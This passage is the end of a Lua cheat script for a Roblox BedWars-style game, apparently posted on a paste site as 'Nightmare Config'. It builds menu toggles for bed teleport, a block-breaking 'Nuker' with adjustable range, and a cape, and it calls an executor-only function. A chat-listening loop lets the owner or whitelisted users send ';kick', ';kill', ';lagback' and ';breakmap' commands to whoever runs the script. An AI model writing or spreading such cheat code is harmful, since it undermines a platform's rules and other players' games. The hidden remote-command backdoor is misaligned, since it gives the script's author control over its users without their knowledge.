  4953. DropDownButton.Activated:Connect(function()
  4954. Value = not Value
  4955.  
  4956. if Value == true then
  4957. InstanceUI = CreateKeyBind(WorldTab, Settings.BedTp.KeyBind, LayoutOrder + 1, function(CallBack)
  4958. Settings.BedTp.KeyBind = CallBack
  4959. end)
  4960. end
  4961.  
  4962. if Value == false then
  4963. InstanceUI:Destroy()
  4964. end
  4965. end)
  4966. end)
  4967.  
  4968. task.spawn(function()
  4969. UserInputService.InputBegan:Connect(function(Input)
  4970. if not UserInputService:GetFocusedTextBox() then
  4971. if Input.KeyCode.Name == Settings.BedTp.KeyBind then
  4972. Settings.BedTp.Value = not Settings.BedTp.Value
  4973.  
  4974. if Settings.BedTp.Value == true then
  4975. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4976. end
  4977.  
  4978. if Settings.BedTp.Value == false then
  4979. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4980. end
  4981. end
  4982. end
  4983. end)
  4984. end)
  4985. end)
  4986.  
  4987. task.spawn(function()
  4988. local Sigma, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Rizzler", Settings.Sigma.Value, function(CallBack)
  4989. Settings.Sigma.Value = CallBack
  4990.  
  4991. if Settings.Sigma.Value == true then
  4992. task.spawn(function()
  4993. if IsAlive(LocalPlayer) and Settings.Cape.Value == true and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal") then
  4994. LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal").Texture = "rbxassetid://" .. 15105493170
  4995. end
  4996. end)
  4997. end
  4998.  
  4999. if Settings.Sigma.Value == false then
  5000. task.spawn(function()
  5001. if IsAlive(LocalPlayer) and Settings.Cape.Value == true and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal") then
  5002. LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal").Texture = "rbxassetid://" .. 15105493170
  5003. end
  5004. end)
  5005. end
  5006. end)
  5007.  
  5008. task.spawn(function()
  5009. local InstanceUI
  5010. local Value = false
  5011.  
  5012. DropDownButton.Activated:Connect(function()
  5013. Value = not Value
  5014.  
  5015. if Value == true then
  5016. InstanceUI = CreateKeyBind(WorldTab, Settings.Sigma.KeyBind, LayoutOrder + 1, function(CallBack)
  5017. Settings.Sigma.KeyBind = CallBack
  5018. end)
  5019. end
  5020.  
  5021. if Value == false then
  5022. InstanceUI:Destroy()
  5023. end
  5024. end)
  5025. end)
  5026.  
  5027. task.spawn(function()
  5028. UserInputService.InputBegan:Connect(function(Input)
  5029. if not UserInputService:GetFocusedTextBox() then
  5030. if Input.KeyCode.Name == Settings.Sigma.KeyBind then
  5031. Settings.Sigma.Value = not Settings.Sigma.Value
  5032.  
  5033. if Settings.Sigma.Value == true then
  5034. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  5035. end
  5036.  
  5037. if Settings.Sigma.Value == false then
  5038. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  5039. end
  5040. end
  5041. end
  5042. end)
  5043. end)
  5044. end)
  5045.  
  5046. task.spawn(function()
  5047. local Nuker, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Nuker", Settings.Nuker.Value, function(CallBack)
  5048. Settings.Nuker.Value = CallBack
  5049. end)
  5050.  
  5051. task.spawn(function()
  5052. local InstanceUI
  5053. local Value = false
  5054.  
  5055. DropDownButton.Activated:Connect(function()
  5056. Value = not Value
  5057.  
  5058. if Value == true then
  5059. InstanceUI = CreateKeyBind(WorldTab, Settings.Nuker.KeyBind, LayoutOrder + 1, function(CallBack)
  5060. Settings.Nuker.KeyBind = CallBack
  5061. end)
  5062. end
  5063.  
  5064. if Value == false then
  5065. InstanceUI:Destroy()
  5066. end
  5067. end)
  5068. end)
  5069.  
  5070. task.spawn(function()
  5071. UserInputService.InputBegan:Connect(function(Input)
  5072. if not UserInputService:GetFocusedTextBox() then
  5073. if Input.KeyCode.Name == Settings.Nuker.KeyBind then
  5074. Settings.Nuker.Value = not Settings.Nuker.Value
  5075.  
  5076. if Settings.Nuker.Value == true then
  5077. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  5078. end
  5079.  
  5080. if Settings.Nuker.Value == false then
  5081. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  5082. end
  5083. end
  5084. end
  5085. end)
  5086. end)
  5087.  
  5088. task.spawn(function()
  5089. local InstanceUI
  5090. local Value = false
  5091.  
  5092. DropDownButton.Activated:Connect(function()
  5093. Value = not Value
  5094.  
  5095. if Value == true then
  5096. InstanceUI = CreateMiniToggle(WorldTab, "BreakOres", Settings.Nuker.BreakOres, LayoutOrder + 2, function(CallBack)
  5097. Settings.Nuker.BreakOres = CallBack
  5098. end)
  5099. end
  5100.  
  5101. if Value == false then
  5102. InstanceUI:Destroy()
  5103. end
  5104. end)
  5105. end)
  5106.  
  5107. task.spawn(function()
  5108. local InstanceUI
  5109. local Value = false
  5110.  
  5111. DropDownButton.Activated:Connect(function()
  5112. Value = not Value
  5113.  
  5114. if Value == true then
  5115. InstanceUI = CreateSlider(WorldTab, "Range", Settings.Nuker.Range, 30, LayoutOrder + 3, function(CallBack)
  5116. Settings.Nuker.Range = CallBack
  5117. end)
  5118. end
  5119.  
  5120. if Value == false then
  5121. InstanceUI:Destroy()
  5122. end
  5123. end)
  5124. end)
  5125. end)
  5126.  
  5127. task.spawn(function()
  5128. local Cape, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Cape", Settings.Cape.Value, function(CallBack)
  5129. Settings.Cape.Value = CallBack
  5130.  
  5131. if Settings.Cape.Value == true then
  5132. task.spawn(function()
  5133. local DecalId = (Settings.Sigma.Value and 13528140280 or 16223063079)
  5134.  
  5135. CreateCape("rbxassetid://" .. DecalId)
  5136.  
  5137. task.spawn(function()
  5138. LocalPlayer.CharacterAdded:Connect(function()
  5139. if IsAlive(LocalPlayer) and not LocalPlayer.Character:FindFirstChild("Cape") and CallBack == true then
  5140. task.wait(0.3)
  5141.  
  5142. CreateCape("rbxassetid://" .. DecalId)
  5143. end
  5144. end)
  5145. end)
  5146. end)
  5147. end
  5148.  
  5149. if Settings.Cape.Value == false then
  5150. task.spawn(function()
  5151. if IsAlive(LocalPlayer) and LocalPlayer.Character:FindFirstChild("Cape") then
  5152. LocalPlayer.Character.Cape:Destroy()
  5153. end
  5154. end)
  5155. end
  5156. end)
  5157.  
  5158. task.spawn(function()
  5159. local InstanceUI
  5160. local Value = false
  5161.  
  5162. DropDownButton.Activated:Connect(function()
  5163. Value = not Value
  5164.  
  5165. if Value == true then
  5166. InstanceUI = CreateKeyBind(WorldTab, Settings.Cape.KeyBind, LayoutOrder + 1, function(CallBack)
  5167. Settings.Cape.KeyBind = CallBack
  5168. end)
  5169. end
  5170.  
  5171. if Value == false then
  5172. InstanceUI:Destroy()
  5173. end
  5174. end)
  5175. end)
  5176.  
  5177. task.spawn(function()
  5178. UserInputService.InputBegan:Connect(function(Input)
  5179. if not UserInputService:GetFocusedTextBox() then
  5180. if Input.KeyCode.Name == Settings.Cape.KeyBind then
  5181. Settings.Cape.Value = not Settings.Cape.Value
  5182.  
  5183. if Settings.Cape.Value == true then
  5184. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  5185. end
  5186.  
  5187. if Settings.Cape.Value == false then
  5188. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  5189. end
  5190. end
  5191. end
  5192. end)
  5193. end)
  5194. end)
  5195.  
  5196. task.spawn(function()
  5197. repeat
  5198. task.wait(1)
  5199.  
  5200. for i, v in next, PlayerService:GetPlayers() do
  5201. for i, v1 in next, WhitelistedUsers do
  5202. v.Chatted:Connect(function(Message)
  5203. if Message:lower() == ";kick default" and v.Name ~= Owner and (LocalPlayer.Name == Owner or LocalPlayer.Name == v1) then
  5204. task.spawn(function()
  5205. LocalPlayer:Kick("Kicked by Nightmare owner")
  5206. end)
  5207. end
  5208.  
  5209. if Message:lower() == ";kill" and v.Name ~= Owner and (LocalPlayer.Name == Owner or LocalPlayer.Name == v1) then
  5210. task.spawn(function()
  5211. KillHumanoid(0)
  5212. end)
  5213. end
  5214.  
  5215. if Message:lower() == ";lagback" and v.Name ~= Owner and (LocalPlayer.Name == Owner or LocalPlayer.Name == v1) then
  5216. task.spawn(function()
  5217. LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(99999, 99999, 99999)
  5218. end)
  5219. end
  5220.  
  5221. if Message:lower() == ";breakmap" and v.Name ~= Owner and (LocalPlayer.Name == Owner or LocalPlayer.Name == v1) then
  5222. task.spawn(function()
  5223. for i, v in next, CollectionService:GetTagged("block") do
  5224. v:Destroy()
  5225. end
  5226. end)
  5227. end
  5228. end)
  5229. end
  5230. end
  5231. until not game
  5232. end)
  5233.  
  5234. task.spawn(function()
  5235. local FrameRateManager = StatsService and StatsService:FindFirstChild("FrameRateManager")
  5236. local RenderAverage = FrameRateManager and FrameRateManager:FindFirstChild("RenderAverage")
  5237.  
  5238. local function GetFramerate()
  5239. return math.round(1000 / RenderAverage:GetValue())
  5240. end
  5241.  
  5242. repeat
  5243. task.wait()
  5244.  
  5245. Fps = GetFramerate()
  5246.  
  5247. LoopWaitTime = (Settings.FpsBooster.Value == true and DecimalRound(((1.5 / Fps) * 4), 3) or 0)
  5248. until not game
  5249. end)
  5250.  
  5251. task.spawn(function()
  5252. local Horizontal = {Value = 15}
  5253. local Vertical = {Value = 5}
  5254. local Depth = {Value = 35}
  5255.  
  5256. local RotationZ = {Value = 5}
  5257.  
  5258. local ViewModel = Camera:FindFirstChild("Viewmodel")
  5259. local C1
  5260.  
  5261. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_DEPTH_OFFSET", -(Depth.Value / 10))
  5262. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_HORIZONTAL_OFFSET", (Horizontal.Value / 10))
  5263. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_VERTICAL_OFFSET", (Vertical.Value / 10))
  5264.  
  5265. C1 = ViewModel.RightHand.RightWrist.C1
  5266.  
  5267. ViewModel.RightHand.RightWrist.C1 = C1 * CFrame.Angles(math.rad(0), math.rad(0), math.rad(RotationZ.Value))
  5268.  
  5269. task.spawn(function()
  5270. CreateNotification(9, "discord.gg/jGtVn4dmpu")
  5271. CreateNotification(9, "Nightmare Config")
  5272. end)
  5273.  
  5274. task.spawn(function()
  5275. setfpscap(999)
  5276. end)
  5277. end)
  5278.  
  5279. local TweenService = game:GetService("TweenService")
  5280. local NeonWaterMark = Instance.new("ScreenGui")
  5281. local TextLabel = Instance.new("TextLabel")
  5282. local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
  5283.  
  5284. NeonWaterMark.Name = "NeonWaterMark"
  5285. NeonWaterMark.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  5286. NeonWaterMark.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  5287. NeonWaterMark.ResetOnSpawn = false
  5288.  
  5289. TextLabel.Parent = NeonWaterMark
  5290. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  5291. TextLabel.BackgroundTransparency = 1.000
  5292. TextLabel.BorderSizePixel = 0
  5293. TextLabel.Position = UDim2.new(0, 0, 0, 0)
  5294. TextLabel.Size = UDim2.new(0.2, 0, 0.15, 0)
  5295. TextLabel.Font = Enum.Font.GothamBold
  5296. TextLabel.Text = "Nightmare Config discord.gg/jGtVn4dmpu"
  5297. TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  5298. TextLabel.TextScaled = true
  5299. TextLabel.TextSize = 28.000
  5300. TextLabel.TextWrapped = true
  5301. TextLabel.TextXAlignment = Enum.TextXAlignment.Left
  5302.  
  5303. -- Add UITextSizeConstraint for dynamic text sizing
  5304. UITextSizeConstraint.MaxTextSize = 28
  5305. UITextSizeConstraint.MinTextSize = 14
  5306. UITextSizeConstraint.Parent = TextLabel
  5307.  
  5308. -- Tweening function for rainbow color change
  5309. local function changeColor()
  5310. local rainbowColor = Color3.fromHSV(tick() % 5 / 5, 1, 1)
  5311. local info = TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out)
  5312. local tween = TweenService:Create(TextLabel, info, {TextColor3 = rainbowColor})
  5313. tween:Play()
  5314. end
  5315.  
  5316. -- Run the color change function in a loop
  5317. while true do
  5318. changeColor()
  5319. wait(1) -- Adjust the wait time for a smoother or faster color change
  5320. end
Advertisement
Add Comment
Please, Sign In to add comment